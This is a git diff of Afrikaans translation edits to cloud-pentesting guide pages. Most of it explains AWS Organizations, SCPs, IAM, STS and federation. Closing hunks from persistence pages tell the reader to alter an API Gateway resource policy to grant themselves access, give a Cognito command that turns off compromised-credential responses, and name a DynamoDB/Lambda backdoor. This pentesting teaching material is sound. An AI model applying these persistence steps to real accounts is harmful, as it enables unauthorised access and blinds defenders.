-In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekening** vir jou **organisasie**. U hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, u kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei.
+In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekeninge** van jou **organisasie**. Jy hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, jy kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei.
-Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie in staat sal wees om hulpbronne van 'n ander rekening te benader** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan u grense tussen ontplooiings skep.
+Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie hulpbronne van 'n ander rekening kan toegang nie** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep.
-Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lidrekeninge.
+Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie Gebruiker rekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lid rekeninge.
-- Die **bestuurrekening (die root rekening)** is die rekening wat u gebruik om die organisasie te skep. Van die organisasie se bestuurrekening kan u die volgende doen:
+- Die **bestuurrekening (die root rekening)** is die rekening wat jy gebruik om die organisasie te skep. Van die organisasie se bestuurrekening af, kan jy die volgende doen:
- Skep rekeninge in die organisasie
- Nooi ander bestaande rekeninge na die organisasie
- Verwyder rekeninge uit die organisasie
- Bestuur uitnodigings
-- Pas beleide toe op entiteite (wortels, OU's, of rekeninge) binne die organisasie
+- Pas beleide toe op entiteite (wortels, OUs, of rekeninge) binne die organisasie
- Aktiveer integrasie met ondersteunende AWS dienste om diensfunksionaliteit oor al die rekeninge in die organisasie te bied.
- Dit is moontlik om in te log as die root gebruiker met die e-pos en wagwoord wat gebruik is om hierdie root rekening/organisasie te skep.
-Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lidrekeninge opgeloop word. U kan nie 'n organisasie se bestuurrekening verander nie.
+Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lid rekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie.
-- **Lidrekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. U kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas.
-- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word).
+- **Lid rekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas.
+- Lid rekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organisasie-eenhede**
-Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan wees **toegepas op al die kindrekening**. Let daarop dat 'n OU ander OU's as kinders kan hê.
+Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan wees **toegepas op al die kindrekeninge**. Let daarop dat 'n OU ander OU's as kinders kan hê.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
-'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lid rekeninge**.
+'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**.
Dit is die ENIGE manier waarop **selfs die wortelgebruiker gestop kan word** om iets te doen. Byvoorbeeld, dit kan gebruik word om gebruikers te stop om CloudTrail te deaktiveer of rugsteun te verwyder.\
Die enigste manier om dit te omseil, is om ook die **master account** wat die SCP's konfigureer, te kompromitteer (master account kan nie geblokkeer word nie).
> [!WARNING]
-> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang te verkry tot 'n openbare S3-bucket** in jou rekening nie.
+> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te verkry nie.
SCP voorbeelde:
- Weier die wortelrekening heeltemal
- Laat slegs spesifieke streke toe
- Laat slegs witgelysde dienste toe
-- Weier GuardDuty, CloudTrail, en S3 Publieke Blok Toegang van
+- Weier GuardDuty, CloudTrail, en S3 Publieke Bloktoegang van
-om gedeaktiveer te word
+deaktiveer
-- Weier sekuriteit/voorval respons rolle om verwyder of
+- Weier sekuriteit/voorvalrespons rolle om verwyder of
gewysig te word.
@@ -73,7 +73,7 @@ Vind **JSON voorbeelde** in [https://docs.aws.amazon.com/organizations/latest/us
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-Note dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem:
+Let daarop dat daar 4 partities in AWS is, maar slegs 3 maniere om hulle te noem:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -94,7 +94,7 @@ IAM kan gedefinieer word deur sy vermoë om verifikasie, magtiging en toegangsbe
Wanneer jy vir die eerste keer 'n Amazon Web Services (AWS) rekening skep, begin jy met 'n enkele aanmeld identiteit wat **volledige toegang tot alle** AWS dienste en hulpbronne in die rekening het. Dit is die AWS rekening _**wortel gebruiker**_ en word verkry deur in te teken met die **e-posadres en wagwoord wat jy gebruik het om die rekening te skep**.
-Let daarop dat 'n nuwe **admin gebruiker** **minder toestemmings sal hê as die wortel gebruiker**.
+Let daarop dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê.
Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en om hierdie een te vermy.
@@ -102,22 +102,22 @@ Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en
'n IAM _gebruiker_ is 'n entiteit wat jy in AWS skep om **die persoon of toepassing** wat dit gebruik om **met AWS te kommunikeer** te **verteenwoordig**. 'n Gebruiker in AWS bestaan uit 'n naam en geloofsbriewe (wagwoord en tot twee toegang sleutels).
-Wanneer jy 'n IAM gebruiker skep, gee jy dit **toestemmings** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike toestemming beleide het (aanbeveel), of deur **beleide direk aan die gebruiker te heg**.
+Wanneer jy 'n IAM gebruiker skep, gee jy dit **regte** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike regte beleid aanheg (aanbeveel), of deur **regte direk aan die gebruiker te heg**.
Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API tokens van MFA geaktiveerde gebruikers is nie deur MFA beskerm nie. As jy wil **die toegang van 'n gebruiker se API sleutels met MFA beperk**, moet jy in die beleid aandui dat om sekere aksies uit te voer, MFA teenwoordig moet wees (voorbeeld [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Toegang Sleutel ID**: 20 ewekansige hoofletters alfanumeriese karakters soos AKHDNAPO86BSHKDIRYT
-- **Geheime toegang sleutel ID**: 40 ewekansige hoë en lae letters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie).
+- **Geheime toegang sleutel ID**: 40 ewekansige groot en klein letters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie).
Wanneer jy die **Toegang Sleutel** moet **verander**, is dit die proses wat jy moet volg:\
NAN;_Create 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op stelsel/toepassing -> merk oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder ou toegang sleutel_
-### MFA - Multi Faktor Verifikasie
+### MFA - Multi-Faktor Verifikasie
-Dit word gebruik om 'n **addisionele faktor vir verifikasie** te skep benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\
-Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos google verifikasie gratis gebruik om 'n MFA in AWS te aktiveer.
+Dit word gebruik om 'n **addisionele faktor vir verifikasie** te **skep** benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\
+Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos Google Authenticator gratis gebruik om 'n MFA in AWS te aktiveer.
Beleide met MFA voorwaardes kan aan die volgende geheg word:
@@ -125,35 +125,35 @@ Beleide met MFA voorwaardes kan aan die volgende geheg word:
- 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS tou, of Amazon SNS onderwerp
- Die vertrouensbeleid van 'n IAM rol wat deur 'n gebruiker aanvaar kan word
-As jy 'n hulpbron wil **toegang via CLI** wat **MFA nagaan**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\
+As jy 'n hulpbron wat **MFA nagaan** via CLI wil **toegang**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\
Let daarop dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**.
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), daar is 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie.
+Soos [**hier genoem**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), is daar 'n baie verskillende gevalle waar **MFA nie gebruik kan word** nie.
### [IAM gebruikersgroepe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-'n IAM [gebruikersgroep](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is 'n manier om **beleide aan verskeie gebruikers** op een slag te **koppel**, wat dit makliker kan maak om die toestemmings vir daardie gebruikers te bestuur. **Rol en groepe kan nie deel wees van 'n groep** nie.
+'n IAM [gebruikersgroep](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is 'n manier om **beleide aan verskeie gebruikers** op een slag te koppel, wat dit makliker kan maak om die toestemmings vir daardie gebruikers te bestuur. **Rol en groepe kan nie deel wees van 'n groep** nie.
Jy kan 'n **identiteitsgebaseerde beleid aan 'n gebruikersgroep** koppel sodat al die **gebruikers** in die gebruikersgroep **die beleid se toestemmings ontvang**. Jy **kan nie** 'n **gebruikersgroep** as 'n **`Principal`** in 'n **beleid** identifiseer (soos 'n hulpbron-gebaseerde beleid) nie, omdat groepe met toestemmings verband hou, nie verifikasie nie, en principals is geverifieerde IAM entiteite.
Hier is 'n paar belangrike eienskappe van gebruikersgroepe:
-- 'n gebruikers **groep** kan **baie gebruikers** **bevat**, en 'n **gebruiker** kan **tot verskeie groepe behoort**.
+- 'n gebruikers **groep** kan **baie gebruikers** bevat, en 'n **gebruiker** kan **tot verskeie groepe behoort**.
- **Gebruikersgroepe kan nie geneste** wees nie; hulle kan slegs gebruikers bevat, nie ander gebruikersgroepe nie.
- Daar is **geen standaard gebruikersgroep wat outomaties al die gebruikers in die AWS-rekening insluit** nie. As jy 'n gebruikersgroep soos dit wil hê, moet jy dit skep en elke nuwe gebruiker daaraan toewys.
- Die aantal en grootte van IAM hulpbronne in 'n AWS-rekening, soos die aantal groepe, en die aantal groepe waarvan 'n gebruiker 'n lid kan wees, is beperk. Vir meer inligting, sien [IAM en AWS STS kwotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM rolle](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer is nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigeen wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM.
+'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer word nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**federated gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM.
'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat **definieer wie die rol kan aanvaar**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat **definieer wat dit kan toegang**.
-#### AWS Sekuriteits Token Diens (STS)
+#### AWS Security Token Service (STS)
-AWS Sekuriteits Token Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir:
+AWS Security Token Service (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdhede** fasiliteer. Dit is spesifiek ontwerp vir:
### [Tydelike geloofsbriewe in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
@@ -165,11 +165,11 @@ AWS Sekuriteits Token Diens (STS) is 'n webdiens wat die **uitreiking van tydeli
Word gebruik om toestemmings toe te ken. Daar is 2 tipes:
-- AWS bestuurde beleide (voorgeskrewe deur AWS)
-- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), deur die beleidgenerator te gebruik (n GUI-weergave wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf.
+- AWS bestuurde beleide (vooraf geconfigureer deur AWS)
+- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), met behulp van die beleidgenerator (n GUI-weergawes wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf.
Deur **standaard toegang** is **weggeneem**, toegang sal toegestaan word as 'n eksplisiete rol gespesifiseer is.\
-As **enkele "Weier" bestaan, sal dit die "Toelaat" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word).
+As **enkele "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS-rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -208,7 +208,7 @@ As 'n hoof nie 'n eksplisiete weiering op hulle het nie, en 'n hulpbronbeleid hu
### IAM Grense
-IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker toegeken deur 'n **ander beleid**, sal die operasie **misluk** as hy probeer om hulle te gebruik.
+IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker deur 'n **ander beleid** toegeken, sal die operasie **misluk** as hy probeer om hulle te gebruik.
'n Grens is net 'n beleid wat aan 'n gebruiker geheg is wat **die maksimum vlak van toestemmings wat die gebruiker of rol kan hê, aandui**. So, **selfs al het die gebruiker Administrateur toegang**, as die grens aandui dat hy slegs S· emmers kan lees, is dit die maksimum wat hy kan doen.
@@ -226,29 +226,35 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Note dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [nie-geverifieerde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
As jy dus op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**.
### Identiteitsfederasie
-Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** is tot AWS toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\
+Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** tot AWS is, toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\
'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Gefedereerde toegang sal dan die gebruikers binne dit toelaat om AWS te benader.
Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan word ten minste een **IAM rol (wat vertrou) aan die Identiteitsverskaffer toegeken**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê.
+Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty platform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdeparty platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem.
+
+
+
### IAM Identiteitsentrum
AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolktoepassings saambring.
-Die aanmelddomein gaan iets soos `.awsapps.com` wees.
+Die aanmeld domein gaan iets soos `.awsapps.com` wees.
Om gebruikers aan te meld, is daar 3 identiteitsbronne wat gebruik kan word:
- Identiteitsentrum Gids: Gereelde AWS gebruikers
-- Aktiewe Gids: Ondersteun verskillende konnektore
+- Aktiewe Gids: Ondersteun verskillende koppelvlakke
- Eksterne Identiteitsverskaffer: Alle gebruikers en groepe kom van 'n eksterne Identiteitsverskaffer (IdP)
+
+
In die eenvoudigste geval van die Identiteitsentrum gids, sal die **Identiteitsentrum 'n lys van gebruikers & groepe hê** en sal in staat wees om **beleide** aan hulle toe te ken vir **enige van die rekeninge** van die organisasie.
Om toegang aan 'n Identiteitsentrum gebruiker/groep tot 'n rekening te gee, sal 'n **SAML Identiteitsverskaffer wat die Identiteitsentrum vertrou, geskep word**, en 'n **rol wat die Identiteitsverskaffer met die aangeduide beleide vertrou, sal in die bestemmingsrekening geskep word**.
@@ -261,15 +267,15 @@ Daarom, selfs al sien jy 2 rolle met 'n inline beleid genaamd **`AwsSSOInlinePol
### Kruisrekening Vertroue en Rolle
-**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan **'n ander gebruiker** (wat vertrou) toelaat om **sy rekening te benader** maar slegs **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\
+**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan, **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\
Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders kan ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue misbruik.
### AWS Eenvoudige AD
Nie ondersteun nie:
-- Vertrouensverhoudings
-- AD Admin Sentrum
+- Vertrouverhoudings
+- AD Administrasiesentrum
- Volledige PS API ondersteuning
- AD Herwinningsblik
- Groep Gemanagte Diensrekeninge
@@ -283,9 +289,9 @@ Die toepassing gebruik die AssumeRoleWithWebIdentity om tydelike akkrediteer te
### Ander IAM opsies
- Jy kan **'n wagwoordbeleid instelling** opsies soos minimum lengte en wagwoordvereistes stel.
-- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**.
+- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer ...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**.
-AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-graad toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang het tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minste-bevoegdheidstoestemmings** te verseker.
+AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-granulêre toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minimale-toestemmings te verseker**.
### IAM ID Vooraf
@@ -335,10 +341,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
+As jy toegang nodig het tot **verskillende AWS-rekeninge** en jou profiel toegang gegee is om **'n rol binne daardie rekeninge aan te neem**, hoef jy nie elke keer STS handmatig aan te roep nie (`aws sts assume-role --role-arn --role-session-name sessname`) en die geloofsbriewe te konfigureer nie.
-You can use the `~/.aws/config` file to[ **aandui watter rolle om aan te neem**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
-A config file example:
+Jy kan die `~/.aws/config` lêer gebruik om[ **aan te dui watter rolle om aan te neem**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), en dan die `--profile` parameter soos gewoonlik gebruik (die `assume-role` sal op 'n deursigtige manier vir die gebruiker uitgevoer word).\
+'n Konfigurasielêer voorbeeld:
```
[profile acc2]
region=eu-west-2
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 0af0dde30..3f5021721 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -44,8 +44,8 @@ Om 'n github aksie as Identiteitsverskaffer by te voeg:
]
}
```
-6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** gemagtig was met 'n spesifieke **trigger**.
-7. Die **ARN** van die **rol** wat die github aksie gaan kan **naboots**, gaan die "geheime" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**.
+6. Let op in die vorige beleid hoe slegs 'n **tak** van 'n **bewaarplek** van 'n **organisasie** geautoriseer is met 'n spesifieke **trigger**.
+7. Die **ARN** van die **rol** wat die github aksie in staat gaan wees om te **verteenwoordig**, gaan die "geheime" wees wat die github aksie moet weet, so **stoor** dit binne 'n **geheim** binne 'n **omgewing**.
8. Laastens, gebruik 'n github aksie om die AWS kredensiale te konfigureer wat deur die werksvloei gebruik gaan word:
```yaml
name: "test AWS Access"
@@ -108,7 +108,7 @@ Dit is moontlik om **OIDC providers** in 'n **EKS** kluster te genereer deur een
]
}
```
-Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteitskenmerk** in staat gaan wees om die rol te aanvaar.
+Hierdie beleid dui korrek aan dat **slegs** die **EKS-kluster** met **id** `20C159CDF6F2349B68846BEC03BE031B` die rol kan aanvaar. Dit dui egter nie aan watter diensrekening dit kan aanvaar nie, wat beteken dat **ENIGE diensrekening met 'n webidentiteits-token** in staat gaan wees om die rol te **aanvaar**.
Om te spesifiseer **watter diensrekening die rol moet kan aanvaar,** is dit nodig om 'n **voorwaarde** te spesifiseer waar die **diensrekeningnaam gespesifiseer word**, soos:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index b40f42c18..7701cd42f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -12,7 +12,7 @@ Vir meer inligting, gaan na:
### Hulpbronbeleid
-Wysig die hulpbronbeleid van die API-gateway(s) om jouself toegang te gee tot hulle.
+Wysig die hulpbronbeleid van die API gateway(s) om jouself toegang te gee tot hulle.
### Wysig Lambda Outeurs
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 5d8dd38b5..1e4e9c291 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -33,7 +33,7 @@ Kyk hoe om hierdie aksies uit te voer in
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-Standaard is dit gedeaktiveer:
+Standaard is dit gedeaktiveer:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 7d465c3df..feef0b2df 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@ Vir meer inligting, toegang:
### DynamoDB Triggers met Lambda Agterdeur
